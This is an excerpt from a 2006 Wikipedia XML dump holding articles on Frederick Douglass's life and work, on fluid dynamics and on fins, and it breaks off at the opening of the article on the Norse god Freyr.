      <comment>/* Death */ removing duplicate link for anacostia, the first link is in the first paragraph of article.</comment>
      <text xml:space="preserve">[[Image:Frederick Douglass.jpg|thumb|220px|Frederick Douglass]]'''Frederick Douglass''' ([[February 14]]{{fn|1}}, [[1818]] &amp;ndash; [[February 20]], [[1895]]) was an [[United States|American]] [[Abolitionism|abolitionist]], [[editor]], [[orator]], [[author]], [[statesman]] and [[reformer]]. Called &quot;The Sage of [[Anacostia]]&quot; and &quot;The Lion of Anacostia,&quot; Douglass was among the most prominent [[African American]]s of his time, and one of the most influential lecturers and authors in American history.


==Career==
Frederick Augustus Washington Bailey, who later became known as Frederick Douglass, was born a slave in Talbot County, Maryland near Hillsborough, twelve miles from Easton. He was separated from his mother, Harriet Bailey, when he was still an infant. She died when Douglass was about nine years old. The identity of Douglass' father is obscure; Douglass originally stated that his father was a white man, perhaps his master, Captain Aaron Anthony, but later said that he knew nothing of his father's identity. When Anthony died, Douglass was given to Mrs. Lucretia Auld, wife of Captain Thomas Auld; the young man was sent to Baltimore to serve the Captain's brother, Hugh Auld. When Douglass was thirteen, Hugh Auld's wife, Sophia, broke the law by teaching Douglass to read. Douglass later referred to this in his first abolitionist speech.

In 1837, Douglass met Anna Murray, who sold a poster bed to buy sailor's papers needed for Frederick Douglass's escape. Douglass escaped Slavery on September 3, 1838 boarding a train to Havre de Grace, Maryland dressed in a sailor's uniform and carrying identification papers provided by a free black seaman. After crossing the Susquehanna River by ferry boat at Havre de Grace, Douglass continued by train to Wilmington, Delaware. From there Douglass went by steamboat to &quot;Quaker City&quot; Philadelphia, Pennsylvania. His escape to freedom eventually led him to New York, the entire journey taking less than twenty-four hours.

Douglass continued reading. He joined various organizations in New Bedford, including a black church. He regularly attended Abolitionist meetings. He subscribed to [[William Lloyd Garrison]]'s weekly journal, the ''Liberator'', and in 1841, he heard Garrison speak at the Bristol Anti-Slavery Society's annual meeting. Douglass was inspired by Garrison, later stating, &quot;no face and form ever impressed me with such sentiments (the hatred of slavery) as did those of William Lloyd Garrison.&quot; Garrison was likewise impressed with Douglass, and mentioned him in the ''Liberator''. 

Several days later, Douglass gave his first speech at the Massachusetts Anti-Slavery Society's annual convention in Nantucket Island. Twenty-three years old at the time, Douglass later said that his legs were shaking. He conquered his nervousness and gave an eloquent speech about his life as a slave. 

In 1843, Douglass participated in the American Anti-Slavery Society's Hundred Conventions project, a six month tour of meeting halls throughout the east and middle west of the [[United States]]. He participated in the [[Seneca Falls Convention]], the birthplace of the American feminist movement, and was a signatory of its [[Declaration of Sentiments]].

Douglass later became the publisher of a series of newspapers: &quot;The North Star&quot;, &quot;Frederick Douglass Weekly&quot;, &quot;Frederick Douglass' Paper&quot;, &quot;Douglass' Monthly&quot; and &quot;New National Era&quot;. The motto of &quot;The North Star&quot; was &quot;Right is of no sex--Truth is of no color--God is the Father of us all, and we are all Brethren&quot;.

Douglass' work spanned the years prior to and during the [[United States Civil War|Civil War]]. He was acquainted with the radical abolitionist Captain [[John Brown (abolitionist)|John Brown]] but did not approve of Brown's plan to start an armed slave revolt. Douglass believed that the [[Harpers Ferry, West Virginia|Harpers Ferry]] attack on federal property would enrage the American public. Douglass would later share a stage in [[Harpers Ferry]] with [[Andrew Hunter]], the prosecutor who successfully convicted Brown.

Douglass conferred with President [[Abraham Lincoln]] in 1863 on the treatment of black soldiers, and with President [[Andrew Johnson]] on the subject of black suffrage. His early collaborators were the white abolitionists [[William Lloyd Garrison]] and [[Wendell Phillips]]. In the early 1850's, however, Douglass split with the Garrisonians over the issue of the [[United States Constitution]]. 

Douglass had five children; two of them, Charles and Rossetta, helped produce his newspapers.

Douglass was an ordained minister of the [[African Methodist Episcopal Church]].

===Autobiography===
Douglass'                                                                                                  most well-known work is his autobiography, ''Narrative of the Life of Frederick Douglass, an American Slave,'' which was published in 1845. Critics frequently attacked the book as inauthentic, not believing that a black man could possibly have produced so eloquent a piece of literature. The book was an immediate bestseller and received overwhelmingly positive critical reviews. Within three years of its publication, it had been reprinted nine times with 11,000 copies circulating in the United States; it was also translated into the [[French language|French]] and [[Dutch language|Dutch]] languages. 

The book's success had an unfortunate side effect: his friends and mentors feared that the publicity would draw the attention of his ex-owner, Hugh Auld, who could try to get his &quot;property&quot; back. They encouraged him to go on a tour in [[Ireland]], as many other ex-slaves had done in the past. He set sail on the ''Cambria'' for [[Liverpool]] on [[August 16]], [[1845]], and arrived in Ireland when the [[Irish Potato Famine (1845-1849)|Irish famine]] was just beginning.

===Travels to Europe===
Douglass spent two years in the [[British Isles]] and gave several lectures, mainly in [[Protestant]] churches. He remarked that there he was treated not &quot;as a color, but as a man.&quot; He met and befriended the [[Ireland|Irish]] nationalist [[Daniel O'Connell]]. When Douglass visited [[Scotland]], the members of the [[Free Church of Scotland]], whom he had criticized for accepting money from U.S. slave-owners, demonstrated against him with placards that read &quot;Send back the [[nigger]]&quot;. 

===The North Star Press===
In 1847, Douglass founded a New York newspaper called ''[[North Star (newspaper): )|The North Star]]'', which focused on opposing race and sex discrimination, especially concerning slavery. One evening, a group of men burst into the office and menacingly approached one of the printing presses. Douglass reached it before they did, saying, &quot;You can smash this place and I'll open my paper elsewhere. Stop me, and others will take my place. You came here to destroy my paper? Let me help you.&quot; Douglass then smashed the printing press himself. &quot;You can smash machines, but you can't smash ideas.&quot; Ashamed, the men filtered out.

===Pre-Civil War===
In 1851, Douglass merged the ''North Star'' with [[Gerrit Smith|Gerrit Smith's]] ''Liberty Party Paper'' to form ''Frederick Douglass' Paper'', which was published until 1860. Douglass came to agree with [[Gerrit Smith|Smith]] and [[Lysander Spooner]] that the [[United States Constitution]] is an anti-slavery document, reversing his earlier belief that it was pro-slavery, a view he had shared with William Lloyd Garrison. Garrison had publicly demonstrated his opinion of the Constitution by burning copies of it. Douglass' change of position on the Constitution was one of the most notable incidents of a division that emerged in the abolitionist movement after the publication of Spooner's book ''The Unconstitutionality of Slavery'' in 1846. This shift in opinion, as well as some other political differences, created a rift between Douglass and Garrison. Douglass further angered Garrison by saying that the Constitution could and should be used as an instrument in the fight against slavery. With this, Douglass began to assert his independence in the Garrisonians. Garrison saw the ''North Star'' as being in competition with the ''National Anti-Slavery Standard'' and [[Marius Robinson]]'s ''Anti-slavery Bugle''.

In March 1860, Annie, Douglass' youngest daughter, died at [[Rochester, New York]], while he was still in [[England]]. Douglass returned from [[England]] the following month, taking the route through [[Canada]] to avoid detection.

By the time of the [[American Civil War|Civil War]], Douglass was one of the most famous black men in the country, known for his oratories on the condition of the black race, and other issues such as women's rights.

===The Reconstruction era===
After the Civil War, Douglass held a number of important political positions. He served as President of the [[Reconstruction]]-era [[Freedman's Savings Bank]]; as marshal of the [[Washington, D.C.|District of Columbia]]; as minister-resident and [[consul-general]] to the Republic of [[Haiti]]; and as chargé d'affaires for [[Santo Domingo]]. After two years, he resigned his ambassadorship due to disagreements with U.S. government policy. In 1872, he moved to [[Washington, D.C]] after his house on South Avenue in [[Rochester, New York]] burned down &amp;mdash; arson was suspected. Also lost was a complete issue of ''The North Star''.

In 1868, Douglass supported the presidential campaign of [[Ulysses S. Grant]]. The Klan Act and the Enforcement Act were signed into law by President Grant. Grant used their provisions vigorously, suspending [[habeas corpus]] in [[South Carolina]] and sending troops there and into other states; under his leadership, over 5,000 arrests were made and the [[Ku Klux Klan]] was dealt a serious blow.

Grant's vigor in disrupting the Klan made him unpopular among many whites, but Frederick Douglass praised him. An associate of Douglass wrote of Grant that African Americans &quot;will ever cherish a grateful remembrance of his name, fame and great services.&quot; 

In [[1872]], he became the first African American to receive a nomination for [[Vice President of the United States]], having been nominated to be [[Victoria Woodhull]]'s running mate on the [[Equal Rights Party]] ticket without his knowledge. During the campaign, he neither campaigned for the ticket nor even acknowledged that he had been nominated.

Douglass spoke at many schools around the country in the Reconstruction era, including [[Bates College]] in [[Lewiston, Maine]] in 1873

==Later life==
In 1877, Frederick Douglass purchased his final home in [[Washington D.C.]], on the banks of the [[Anacostia River]]. He named it ''[[Frederick Douglass National Historic Site|Cedar Hill]]'' (also spelled ''CedarHill''). He expanded the house from 14 to 21 rooms and included a china closet. One year later, Douglass expanded his property to 15 acres (61,000 m²), with the purchase of adjoining lots. The home is now the location of the [[Frederick Douglass National Historic Site]].

After the disappointments of [[Reconstruction]], many African Americans called [[Exoduster]]s moved to [[Kansas]] to form all-black towns. Douglass spoke out against the movement, urging blacks to stick it out. He was condemned and booed by black audiences.  

In 1877, Douglass was appointed a [[United States Marshal]].  In 1881, he was appointed [[Recorder of Deeds]] for the [[Washington, D.C.|District of Columbia]]. His wife ([[Anna Murray Douglas]]) died in 1882, leaving him in a state of depression. His association with the activist [[Ida B. Wells]] brought meaning back into his life. In 1884, Douglass married [[Helen Pitts]], a white feminist from [[Honeoye, New York]]. Pitts was the daughter of [[Gideon Pitts, Jr]]., an abolitionist colleague and friend of Douglass. A graduate of [[Mount Holyoke College]] (at that time ''Mount Holyoke Female Seminary''), Pitts had worked on a radical feminist publication named ''Alpha'' while living in [[Washington, D.C.]].

Frederick and Helen Pitts Douglass faced a storm of controversy as a result of their marriage. She was a white woman and nearly 20 years younger than he. Both families recoiled; hers stopped speaking to her; his was bruised, as they felt his marriage was a repudiation of their mother. But individualist feminist [[Elizabeth Cady Stanton]] congratulated the two [http://winningthevote.org/FDouglass.html].

The new couple traveled to [[England]], [[France]], [[Italy]], [[Egypt]] and [[Greece]] from 1886 to 1887.

In later life, Douglass determined to ascertain his birthday. He was born in February of 1816 by his own calculations, but historians have found a record indicating his birth in February of 1818.  

In 1892 the Haitian government appointed Douglass as its commissioner to the [[Chicago]] [[World's Columbian Exposition]]. He spoke for [[Irish Home Rule]] and on the efforts of [[Charles Stewart Parnell]]. He briefly revisited [[Ireland]] in 1886.

===Death===
On [[February 20]], [[1895]], Douglass attended a meeting of the National Council of Women in [[Washington, D.C.]]. During that meeting, he was brought to the platform and given a standing ovation by the audience. 

Shortly after he returned home, Frederick Douglass died of a massive [[myocardial infarction|heart attack]] or [[stroke]] in his adopted hometown of [[Washington D.C.]]. He is buried in [[Mount Hope Cemetery]] in [[Rochester, NY]].

In [[1921]], [[Alpha Phi Alpha|Alpha Phi Alpha Fraternity]] made a [[pilgrimage]] to Douglass' home in Anacostia and presented a shingle to the ''Frederick Douglass Historical and Memorial Society'' designating Frederick Douglass as an exalted honorary member of [[Omega]] chapter.  He holds the distinction of being the only member initiated [[wiktionary:posthumous|posthumously]]  [http://www.albany.edu/~aphia/newsite/famousas.html]
The Posthumous Membership Shingle read:
:''This is to certify that the Honorable Frederick Douglass, Ex-Slave, Abolitionist, Orator, Advocate of Women's Suffrage, Editor and Statesman, has been initiated a member of the Omega Chapter of the Alpha Phi Alpha Fraternity''.

==See also== 
* [[List of African-American abolitionists]]
* [[Slave narrative]]
* [[African American literature]]
* [[Frederick Douglass and Self-Made Men]]

==References==
*{{fnb|1}} His exact birthday was never recorded, but he selected February 14 to celebrate it.
*Parts of this article are drawn from Houston A. Baker, Jr. introduction to the Penguin 1986 edition of ''Narrative of the Life of Frederick Douglass.''
*''Frederick Douglass'' [videorecording] / produced by Greystone Communications, Inc. for A&amp;E Network ; executive producers, Craig Haffner and Donna E. Lusitana.; 1997  
*''Frederick Douglass: when the lion wrote history'' [videorecording] / a co-production of ROJA Productions and WETA-TV ; produced and directed by Orlando Bagwell ; narration written by Steve Fayer.; c1994  
*''Frederick Douglass, abolitionist editor'' [videorecording] / a production of Schlessinger Video Productions, a division of Library Video Company ; produced and directed by Rhonda Fabian, Jerry Baber ; script, Amy A. Tiehel
*''Race to freedom'' [videorecording] : the story of the underground railroad / an Atlantis Films Limited production in association with United Image Entertainment; produced in association with the Family Channel (US), Black Entertainment Television and CTV Television Network, Ltd. ; produced with the participation of Telefilm Canada, Ontario Film Development Corporation and with the assistance of Rogers Telefund ; distributed by Xenon Pictures ; executive producers, Seaton McLean, Tim Reid ; co-executive producers, Peter Sussman, Anne Marie La Traverse ; supervising producer, Mary Kahn ; producers, Daphne Ballon, Brian Parker ; directed by Don McBrearty ; teleplay by Diana Braithwaite, Nancy Trites Botkin, Peter Mohan.  Publisher Santa Monica, CA : Xenon Pictures, Inc., 2001.  Tim Reid as Frederick Douglass.

==Books by Douglass==
* ''[[A Narrative of the Life of Frederick Douglass, an American Slave]]'' (1845) (Project Gutenberg: [http://www.gutenberg.net/etext/23]), (Audio book at FreeAudio.org [http://www.freeaudio.org/])
* ''[[My Bondage and My Freedom]]'' (1855) (Project Gutenberg: [http://www.gutenberg.net/etext/202])
* ''Life and Times of Frederick Douglass'' (1892)
* [http://www.gutenberg.net/etext/99 Collected Articles Of Frederick Douglass, A Slave] (Project Gutenberg)
* ''Frederick Douglass : Autobiographies'' by Frederick Douglass, [[Henry Louis Gates, Jr.]] Editor.  (Omnibus of all three) ISBN 0940450798

==Scholarly books on Douglass==
* ''The Life and Writings of Frederick Douglass'' by [[Philip S. Foner]] (1975)
* [http://www.questia.com/PM.qst?a=o&amp;d=11107958 Gregory P. Lampe. ''Frederick Douglass: Freedom's Voice, 1818-1845'' (1998)] on his oratory
* [http://www.questia.com/PM.qst?a=o&amp;d=54804308 Robert S. Levine. ''Martin Delany, Frederick Douglass, and the Politics of Representative Identity'' (1997)], cultural history
* [http://www.questia.com/PM.qst?a=o&amp;d=98841735 William S. Mcfeely. ''Frederick Douglass'' (1991)]
* [http://www.questia.com/PM.qst?a=o&amp;d=74019591 Benjamin Quarles, ''Frederick Douglass'' (1948)]
* Wesley, Charles H., ''The History of Alpha Phi Alpha, A Development in College Life'', Chicago, Foundation Publishers, 1981

==External links==
{{wikisource author}}
{{wikiquote}}
* {{gutenberg author| id=Frederick+Douglass | name=Frederick Douglass}}
*[http://memory.loc.gov/ammem/doughtml/doughome.html Frederick Douglass] (American Memory, [[Library of Congress]])  Includes timeline.
*[http://www.math.buffalo.edu/~sww/0history/hwny-douglass-family.html Timeline of Frederick Douglass and family]
*[http://www.iupui.edu/~douglass/FD_Timeline.htm Frederick Douglas Timeline]
*[http://www.history.rochester.edu/class/douglass/home.html Read more about Frederick Douglass]
* [http://onlinebooks.library.upenn.edu/webbin/book/lookupname?key=Douglass%2c%20Frederick%2c%201818%2d1895 Online Books Page] (University of Pennsylvania)
*[http://www.pbs.org/wgbh/aia/part4/4h2927t.html Fourth of July Speech]
*[http://www.nps.gov/frdo/fdlife.htm  Frederick Douglass NHS - Douglass' Life]
*[http://www.nps.gov/frdo/cedar.htm Frederick Douglass NHS - Cedar Hill] [[National Park Service]] site
*[http://winningthevote.org/FDouglass.html Frederick Douglass] Western New York Suffragists
*[http://www.culturaltourismdc.org/info-url3948/info-url_show.htm?doc_id=204666&amp;attrib_id=7976 Cultural Tourism DC - African American Heritage Trail]
*[http://www.indepthinfo.com/band-of-brothers/frederick-douglass.shtml Frederick Douglass and the term &quot;Band of Brothers&quot;]
*[http://www.fdgardens.org/ Frederick Douglass Gardens at Cedar Hill] Frederick Douglass Gardens development &amp; maintenance organization 
*[http://www.gilderlehrman.org/historians/fellowship2.html The Frederick Douglass Prize] A national book prize sponsored by The Gilder Lehrman Institute of American History and The Gilder Lehrman Center for the Study of Slavery, Resistance and Abolition
*[http://www.mrlincolnandfreedom.org/inside.asp?ID=69&amp;subjectID=4  Mr. Lincoln and Freedom: Frederick Douglass]
*[http://www.mrlincolnswhitehouse.org/inside.asp?ID=38&amp;subjectID=2  Mr. Lincoln's White House: Frederick Douglass]

[[Category:1818 births|Douglass, Frederick]]
[[Category:1895 deaths|Douglass, Frederick]]
[[Category:People from Baltimore|Douglass, Frederick]]
[[Category:People from Maryland|Douglass, Frederick]]
[[Category:African American intellectuals|Douglass, Frederick]]
[[Category:African American writers|Douglass, Frederick]]
[[Category:African Americans' rights activists|Douglass, Frederick]]
[[Category:African-American history|Douglass, Frederick]]
[[Category:Multiracial Americans|Douglass, Frederick]]
[[Category:American abolitionists|Douglass, Frederick]]
[[Category:United States vice-presidential candidates|Douglass, Frederick]]
[[Category:Alpha Phi Alpha brothers|Douglass, Frederick]]
[[Category:Autodidacts|Douglass, Frederick]]
[[Category:Rochesterians|Douglass, Frederick]]
[[Category:Slaves|Douglass, Frederick]]
[[Category:Methodists|Douglass, Frederick]]


[[de:Frederick Douglass]]
[[fr:Frederick Douglass]]
[[he:פרדריק דאגלס]]</text>
    </revision>
  </page>
  <page>
    <title>Fluid dynamics</title>
    <id>11034</id>
    <revision>
      <id>41592436</id>
      <timestamp>2006-02-28T10:18:34Z</timestamp>
      <contributor>
        <username>Dinaarzina</username>
        <id>789239</id>
      </contributor>
      <comment>/* Equations of fluid dynamics */</comment>
      <text xml:space="preserve">'''Fluid dynamics''' is the subdiscipline of [[fluid mechanics]] that studies [[fluid]]s ([[liquid]]s and [[gas]]es) in motion.  The discipline has a number of subdisciplines, including [[aerodynamics]] (the study of gases) and [[hydrodynamics]] (the study of liquids).  Fluid dynamics has a wide range of applications, including calculating [[force]]s and [[moment (physics)|moment]]s on [[aircraft]], determining the [[mass flow rate]] of [[petroleum]] through pipelines, predicting [[weather]] patterns.  Some of its principles are even used in [[transport traffic engineering|traffic engineering]], where traffic is treated as a continuous fluid.  

Fluid dynamics offers a mathematical structure, which underlies these practical disciplines, that embraces empirical and semi-empirical laws, derived from [[flow measurement]], used to solve practical problems.  The solution of a fluid dynamics problem typically involves calculating for various properties of the fluid, such as [[velocity]], [[pressure]], [[density]], and  [[temperature]], as functions of space and time. 

==Equations of fluid dynamics==
The foundational axioms of fluid dynamics are the [[conservation law]]s, specifically, [[conservation of mass]],  conservation of momentum (also known as [[Newton's laws of motion|Newton's second law and third law]]), and [[conservation of energy]].  These are based on [[classical mechanics]] and are modified in [[quantum mechanics]] and [[general relativity]].  They are expressed using the [[Reynolds transport theorem]].

For fluids which are sufficiently dense to be a continuum, do not contain ionized species, and have velocities small in relation to the speed of light, the momentum equations for [[Newtonian fluid]]s are the [[Navier-Stokes equations]],  which are [[non-linear]] [[differential equations]] that describe the flow of a fluid whose stress depends linearly on velocity and on pressure.  The unsimplified equations do not have a general closed-form solution, so they are only of use in [[computational fluid dynamics]] or when they can be simplified.  The equations can be simplified in a number of ways.  All of the simplifications make the equations easier to solve.  Some of them allow appropriate fluid dynamics problems to be solved in closed form.

In addition to the mass, momentum and energy conservation equations, a thermodynamical equation of state giving the pressure as a function of other thermodynamic variables for the fluid is required to completely specify the problem. An example of this would be the [[Ideal gas law|perfect gas equation of state]]:

:&lt;math&gt;p = \frac{\rho R_u T}{M}&lt;/math&gt;

where 
&lt;math&gt;p&lt;/math&gt; is [[pressure]],
&lt;math&gt;\rho&lt;/math&gt; is [[density]],
&lt;math&gt;R_u&lt;/math&gt; is the [[gas constant]],
&lt;math&gt;M&lt;/math&gt; is the [[molecular weight]] and 
&lt;math&gt;T&lt;/math&gt; is [[temperature]].  

===Compressible vs incompressible flow===
A fluid problem is called [[compressible flow|compressible]] if the pressure variation in the flowfield are large enough to effect substantial changes in the density of the fluid.  Flows of liquids with pressure variations much smaller than those required to cause phase change (cavitation), or flows of gases involving speeds much lower than the isentropic sound speed are termed [[incompressible flow|incompressible]].

For flow of gases, to determine whether to use compressible or incompressible fluid dynamics, the [[Mach number]] of the problem is evaluated.  As a rough guide, compressible effects can be ignored at Mach numbers below approximately 0.3.  For liquids, whether the incompressible assumption is valid depends on the fluid properties (specifically the critical pressure and termperature of the fluid) and the flow conditions (how close to the critical pressure the actual flow pressure becomes).  [[acoustics|Acoustic]] problems require allowing compressibility, since sound waves can only be found from the fluid equations which include compressible effects.

The incompressible Navier-Stokes equations can be used to solve incompressible problems.  They are simplifications of the Navier-Stokes equations in which the density has been assumed to be constant.

===Viscous vs inviscid flow===
[[viscosity|Viscous]] problems are those in which fluid friction have significant effects on the solution.  

The [[Reynolds number]] can be used to evaluate whether viscous or inviscid equations are appropriate to the problem.  

[[Stokes flow]] is flow at very low Reynolds numbers, such that inertial forces can be neglected compared to viscous forces. Remark that solutions of this problem are reversible in time, i.e. still make sense reversing the motion.

On the contrary, high Reynolds numbers indicate that the inertial forces are more significant than the viscous (friction) forces. Therefore, we may assume the flow to be an [[inviscid flow]], an approximation in which we neglect [[viscosity]] at all, compared to inertial terms. 

This idea can fairly work  when [[Reynolds number]] is high,  even if certain problems require that viscosity be included.  In particular, problems involving [[boundaries]] (walls, etc.). 
Indeed, we can not neglect viscosity near to a wall at rest, because it locally stops the fluid too, giving a slower motion in its neighborhood, which is affected by [[viscosity]] and [[vorticity]].
Therefore, to calculate  net forces on bodies (such as wings) we should use viscous equations.  As illustrated by [[d'Alembert's paradox]], a body in an inviscid fluid will experience no force. The standard equations of inviscid flow are the [[Euler equations]]. 
Another often used model, especially in computational fluid dynamics, is to use the [[Euler equations]] far from the body and the [[boundary layer]] equations, which incorporate viscosity, close to the body.

The [[Euler equations]] can be integrated along a streamline to get [[Bernoulli's equation]].  When the flow is everywhere irrotational as well as inviscid, Bernoulli's equation can be used throughout the field.

===Steady vs unsteady flow===
Another simplification of fluid dynamics equations is to set all changes of fluid properties with time to zero.  This is called steady flow, and is applicable to a large class of problems, such as lift and drag on a wing or flow through a pipe.  Both the Navier-Stokes equations and the Euler equations become simpler when their steady forms are used.

Whether a problem is steady or unsteady depends on the [[frame of reference]].  For instance, the flow around a [[ship]] in a uniform channel is steady from the point of view of the passengers on the ship, but unsteady to an observer on the shore.  Fluid dynamicists often transform problems to frames of reference in which the flow is steady in order to simplify the problem.

If a problem is incompressible, irrotational, inviscid, and steady, it can be solved using [[potential flow]], governed by [[Laplace's equation]].  Problems in this class have elegant solutions which are linear combinations of well-studied elementary flows.

===Laminar vs turbulent flow===
[[Turbulence]] is flow dominated by recirculation, eddies, and apparent [[random|randomness]].  Flow in which turbulence is not exhibited is called [[laminar flow|laminar]]. Mathematically, turbulent flow is often represented via [[Reynolds decomposition]], in which the flow is broken down into the sum of a steady component and a perturbation component.

It is believed that turbulent flows obey the Navier-Stokes equations. [[Direct numerical simulation]] (DNS), based on the incompressible [[Navier-Stokes]] equations, makes it possible to simulate turbulent flows with moderate Reynolds numbers (restrictions depend on the power of computer). The results of DNS agree with the experimental data.

Most flows of interest have Reynolds numbers too high for DNS to be a viable option (source: Pope, 2000), given the state of computational power for the next few decades.  Any flight vehicle large enough to carry a human (L&gt;3m), moving faster than 72km/hour (20m/sec) is well beyond the limit of DNS simulation (Re = 4 Million).  Transport aircraft wings (such as A300 or 747) have Reynolds numbers of 40 Million (based on the wing chord).  In order to solve these real life flow problems, turbulence models will be a necessity for the foreseeable future.  [[Reynolds-averaged Navier-Stokes equations]] combined with [[Turbulence modeling]] provides a model of the effects of the turbulent flow, mainly the additional momentum transfer provided by the [[Reynolds stresses]], although the turbulence also enhances the heat and mass transfer also.  [[Large eddy simulation|Large Eddy Simulation]] also holds promise as a simulation methodology, especially in the guise of discrete eddy simulation (DES), which is a combination of [[Turbulence modeling]] and [[Large eddy simulation|Large Eddy Simulation]].

===Newtonian vs non-Newtonian fluids===
Sir [[Isaac Newton]] showed how [[stress (physics)|stress]] and the rate of change of [[strain]] are very close to linearly related for many familiar fluids, such as [[water]] and [[Earth's atmosphere|air]]. These [[Newtonian fluid]]s are modeled by a coefficient called [[viscosity]], which depends on the specific fluid.

However, some of the other materials, such as [[milk]] and [[blood]], and also some [[plasticity (physics)|plastic]] solids, have more complicated ''[[Non-Newtonian fluid|non-Newtonian]]'' stress-strain behaviours. These materials include  ''sticky liquids'' such as [[latex]], [[honey]], and even [[water]] (due to its constituent [[hydrogen bond]]s) which are studied in the sub-discipline of [[rheology]].

===Other approximations===
There are a large number of other possible approximations to fluid dynamic problems.  

[[Stokes flow]] is flow at very low Reynolds numbers, such that inertial forces can be neglected compared to viscous forces. Remark that solutions to this problem are reversible in time, i.e. still make sense reversing the motion. On the contrary, the [[inviscid flow]] is an approximation in which we neglect [[viscosity]] at all, compared to inertial terms. This idea, which leads to solve [[hyperbolic]] equations, can fairly work far from [[boundaries]] (walls, etc.) when [[Reynolds number]] is high.

The [[Boussinesq approximation]] neglects variations in density except to calculate [[buoyancy]] forces and is appropriate for free [[convection]] problems.

== References ==
[http://en.wikipedia.org/w/index.php?title=Special:Booksources&amp;isbn=0521598869| Pope, Stephen B. 2000 &quot;Turbulent Flows&quot; (Cambridge University Press)]

==See also==
=== Fields of study ===
*[[Acoustic theory]] (largely derives from fluid dynamics)
*[[Aerodynamics]]
*[[Aeroelasticity]]
*[[Aeronautics]]
*[[Computational fluid dynamics]]
*[[Flow measurement]]
*[[haemodynamics|Hemodynamics]]
*[[Hydraulics]]
*[[Hydrostatics]]
*[[Hydrodynamics]]
*[[Electrohydrodynamics]]
*[[Magnetohydrodynamics]]
*[[Rheology]]

=== Mathematical equations and objects===
*[[Bernoulli's equation]]
*[[Reynolds transport theorem]]
*[[Boussinesq approximation]]
*[[Euler equations]]
*[[Helmholtz's theorems]]
*[[Manning equation]]
*[[Navier-Stokes equations]]
*[[Poiseuille's law]] 
*[[relativistic Euler equations]]
*[[Reynolds decomposition]]
*[[Stream function]]

=== Types of fluid flow ===
*[[Compressible flow]]
*[[Couette flow]]
*[[Incompressible flow]]
*[[Laminar flow]]
*[[Transient flow]]
*[[Turbulence|Turbulent flow]]
*[[Open channel flow]]
*[[Potential flow]]
*[[Supersonic]]
*[[Stokes flow]]
*[[Transonic]]
*[[Two phase flow]]

=== Fluid properties===
*[[Boundary layer]]
*[[Coanda effect]]
*[[Conservation laws]]
*[[Drag (force)]]
*[[Lift (force)]]
*[[Newtonian fluid]]
*[[Non-Newtonian fluid]]
*[[Sound barrier]]
*[[Shock wave]]
*[[Streamline]]
*[[Surface tension]]
*[[Vapor pressure]]
*[[Venturi]]
*[[Vorticity]]
*[[Wave drag]]

=== Dimensionless fluid parameters ===
*[[Froude number]]
*[[Knudsen number]]
*[[Mach number]]
*[[Prandtl number]]
*[[Richardson number]]
*[[Reynolds number]]
*[[Strouhal number]]

===Fluid phenomena===
The following observed fluid phenomena can be characterised and explained using fluid mechanics:
*[[Boundary layer]]
*[[Coanda effect]]
*[[Convection cell]]
*[[Rossby wave]]
*[[Shock wave]]
*[[Soliton]]
*[[Turbulence]]
*[[Venturi]] effect
*[[Vortex]]
*[[Wave drag]]

===Applications===
*[[Acoustics]]   
*[[Aerodynamics]]
*[[Fluid power]]  
*[[Meteorology]]
*[[Oceanography]]
*[[Plasma physics]]
*[[Pneumatics]]
*[[Pump]]

=== See also===
*[[list of publications in physics#fluid dynamics |important publications in fluid dynamics]]
*[[Isosurface]]
*[[Computational fluid dynamics]]

{{physics-footer}}

&lt;!-- interwiki --&gt;

[[Category:Aerodynamics]]
[[Category:Chemical engineering]]
[[Category:Continuum mechanics]]
[[Category:Fluid dynamics| ]]
[[Category:Fluid mechanics| ]]
[[Category:Mechanical engineering]]

[[cs:Proudění]]
[[de:Hydrodynamik]]
[[eo:Fluidaĵ-Dinamiko]]
[[fr:Dynamique des fluides]]
[[id:Dinamika fluida]]
[[it:Fluidodinamica]]
[[ja:流体力学]]
[[nl:Hydrodynamica]]
[[pl:Dynamika płynów]]
[[simple:Fluid dynamics]]</text>
    </revision>
  </page>
  <page>
    <title>Fin</title>
    <id>11036</id>
    <revision>
      <id>42037261</id>
      <timestamp>2006-03-03T10:39:36Z</timestamp>
      <contributor>
        <username>Kaarel</username>
        <id>957166</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{otheruses}}

A '''fin''' is a surface used to produce [[lift (force)|lift]] and [[thrust]] or to steer while traveling in [[water]], air, or other  [[fluid]] media. The first use of the word was for the limbs of [[fish]], but has been extended to include other animal limbs and man made devices.

The foremost use of fins is to ensure the directional stability of an object moving through a fluid such as water or air and may be seen in the use of [[fletching]] on [[arrow]]s and fins at the rear of some [[missile]]s, [[rocket]]s, self-propelled [[torpedo]]es, and  [[KE-penetrator|kinetic energy penetrators]].

Fins have also been used on [[automobiles]] of the late 1950's and early 1960's, promoted then as adding aerodynamic stability but now more realistically evaluated as a rather flamboyant [[style]], particularly in [[United States of America|American]] automobiles of this period.

Moving fins may be used to propel an object through lateral thrust (see [[mechanics]]).

Examples of fin use:
* [[Propeller]]s usually have a number of fins that work to translate torquing force to lateral thrust, thus propelling a [[ship]]. These are also called blades. In the case of high power application it is important to avoid [[cavitation]], caused by excessive negative pressure, as this can cause noise, a loss of power, and damage to the propeller.
* For [[scuba]] divers' fins, see [[swimfin]].
* In [[surfing]], a [[skeg]] is a stabilizing fin located at the rear of the [[surfboard]]. A skeg has the effect of keeping the board moving forward in a controlled manner.
* Constructions of the same purpose as fins (producing thrust, but working in gaseous media) instead are usually called [[wing]]s or [[stabilizer]]s with [[aerodynamics]] as the governing science. The exception to this is the vertical surface of an aircraft to which the [[rudder]] is attached - this is still usually called a fin but is (more formally) called a [[vertical stabilizer]].

[[Category:Animal anatomy]]
[[Category:Nautical terms]]
[[Category:Aircraft components]]

[[de:Finne (Wassersport)]]
[[fr:Nageoire]]
[[io:Floso]]
[[lt:Pelekas]]
[[nl:Vin]]</text>
    </revision>
  </page>
  <page>
    <title>Freyr</title>
    <id>11037</id>
    <revision>
      <id>42067506</id>
      <timestamp>2006-03-03T16:16:14Z</timestamp>
      <contributor>
        <username>Haukurth</username>
        <id>16226</id>
      </contributor>
      <comment>/* Other Icelandic sources */ Well, we're probably best off calling it [[Hervarar saga]].</comment>
      <text xml:space="preserve">:''&quot;Frey&quot; redirects here. For other uses of ''Frey'' and ''Freyr'', see [[Frey (disambiguation)]].''

[[Image:Freyr_art.jpg|thumb|right|180px|This 19th century representation of Freyr shows him with his boar and his sword.]]
